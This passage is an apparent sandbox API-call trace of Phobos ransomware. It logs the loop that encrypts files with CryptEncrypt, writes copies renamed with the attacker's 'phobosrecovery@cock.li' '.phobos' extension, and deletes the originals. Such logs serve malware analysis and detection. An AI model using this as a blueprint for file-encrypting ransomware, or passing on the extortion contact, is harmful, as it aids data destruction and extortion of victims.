lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=577) returned 1 [0046.824] CloseHandle (hObject=0x308) returned 1 [0046.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20 [0046.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0046.828] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0046.828] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0046.828] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0046.828] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0046.856] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cf30) returned 1 [0046.856] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0046.856] ReadFile (in: hFile=0x310, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x241, lpOverlapped=0x0) returned 1 [0046.903] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x250, dwBufLen=0x250 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x250) returned 1 [0046.903] WriteFile (in: hFile=0x318, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x250, lpOverlapped=0x0) returned 1 [0046.904] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10d1b0) returned 1 [0046.904] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0046.904] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x60, dwBufLen=0x60 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x60) returned 1 [0046.904] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0046.904] WriteFile (in: hFile=0x318, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x112, lpOverlapped=0x0) returned 1 [0046.904] CryptDestroyKey (hKey=0x10cf30) returned 1 [0046.904] CloseHandle (hObject=0x310) returned 1 [0046.904] CloseHandle (hObject=0x318) returned 1 [0046.905] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1 [0046.910] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0046.910] CreateFileW (lpFileName="\\\\?\\C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0046.952] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=0) returned 1 [0046.952] CloseHandle (hObject=0x304) returned 1 [0046.952] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0046.952] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0046.954] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=17240) returned 1 [0046.954] CloseHandle (hObject=0x304) returned 1 [0046.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80 [0046.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0046.954] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0046.954] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0046.955] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0046.955] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0046.955] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cd70) returned 1 [0046.955] CryptSetKeyParam (hKey=0x10cd70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0046.955] ReadFile (in: hFile=0x304, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x4358, lpOverlapped=0x0) returned 1 [0046.994] CryptEncrypt (in: hKey=0x10cd70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4360, dwBufLen=0x4360 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4360) returned 1 [0046.994] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x4360, lpOverlapped=0x0) returned 1 [0046.995] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10d0f0) returned 1 [0046.995] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0046.995] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0046.995] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0046.995] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0046.995] CryptDestroyKey (hKey=0x10cd70) returned 1 [0046.995] CloseHandle (hObject=0x304) returned 1 [0046.995] CloseHandle (hObject=0x2e4) returned 1 [0046.996] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1 [0046.997] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0046.998] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0046.998] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=14168) returned 1 [0046.998] CloseHandle (hObject=0x2e4) returned 1 [0046.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80 [0046.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0046.998] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0046.999] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0046.999] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0046.999] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0046.999] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10d0b0) returned 1 [0046.999] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0046.999] ReadFile (in: hFile=0x2e4, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x3758, lpOverlapped=0x0) returned 1 [0047.025] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x3760, dwBufLen=0x3760 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x3760) returned 1 [0047.025] WriteFile (in: hFile=0x304, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x3760, lpOverlapped=0x0) returned 1 [0047.026] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cf30) returned 1 [0047.026] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.026] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0047.026] CryptDestroyKey (hKey=0x10cf30) returned 1 [0047.026] WriteFile (in: hFile=0x304, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0047.026] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0047.026] CloseHandle (hObject=0x2e4) returned 1 [0047.026] CloseHandle (hObject=0x304) returned 1 [0047.027] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1 [0047.028] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0047.028] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.028] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=18264) returned 1 [0047.028] CloseHandle (hObject=0x304) returned 1 [0047.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80 [0047.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.029] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.029] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.029] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.029] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0047.029] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10ce70) returned 1 [0047.029] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.029] ReadFile (in: hFile=0x304, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x4758, lpOverlapped=0x0) returned 1 [0047.030] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4760, dwBufLen=0x4760 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4760) returned 1 [0047.030] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x4760, lpOverlapped=0x0) returned 1 [0047.031] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10ccb0) returned 1 [0047.031] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.031] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0047.031] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0047.031] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0047.032] CryptDestroyKey (hKey=0x10ce70) returned 1 [0047.032] CloseHandle (hObject=0x304) returned 1 [0047.032] CloseHandle (hObject=0x2e4) returned 1 [0047.032] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1 [0047.033] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0047.033] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0047.034] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=18264) returned 1 [0047.034] CloseHandle (hObject=0x2e4) returned 1 [0047.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80 [0047.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.034] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0047.034] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.034] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.034] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.036] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10d0f0) returned 1 [0047.036] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.036] ReadFile (in: hFile=0x2e4, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x4758, lpOverlapped=0x0) returned 1 [0047.053] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4760, dwBufLen=0x4760 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4760) returned 1 [0047.053] WriteFile (in: hFile=0x304, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x4760, lpOverlapped=0x0) returned 1 [0047.054] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cc70) returned 1 [0047.054] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.054] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0047.054] CryptDestroyKey (hKey=0x10cc70) returned 1 [0047.054] WriteFile (in: hFile=0x304, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0047.054] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0047.054] CloseHandle (hObject=0x2e4) returned 1 [0047.054] CloseHandle (hObject=0x304) returned 1 [0047.055] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1 [0047.056] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0047.056] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.057] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=18776) returned 1 [0047.057] CloseHandle (hObject=0x304) returned 1 [0047.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80 [0047.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.057] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0047.057] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.057] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.057] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0047.060] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cef0) returned 1 [0047.060] CryptSetKeyParam (hKey=0x10cef0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.060] ReadFile (in: hFile=0x304, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x4958, lpOverlapped=0x0) returned 1 [0047.061] CryptEncrypt (in: hKey=0x10cef0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4960, dwBufLen=0x4960 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4960) returned 1 [0047.061] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x4960, lpOverlapped=0x0) returned 1 [0047.062] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10d070) returned 1 [0047.062] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.062] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0047.062] CryptDestroyKey (hKey=0x10d070) returned 1 [0047.062] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, 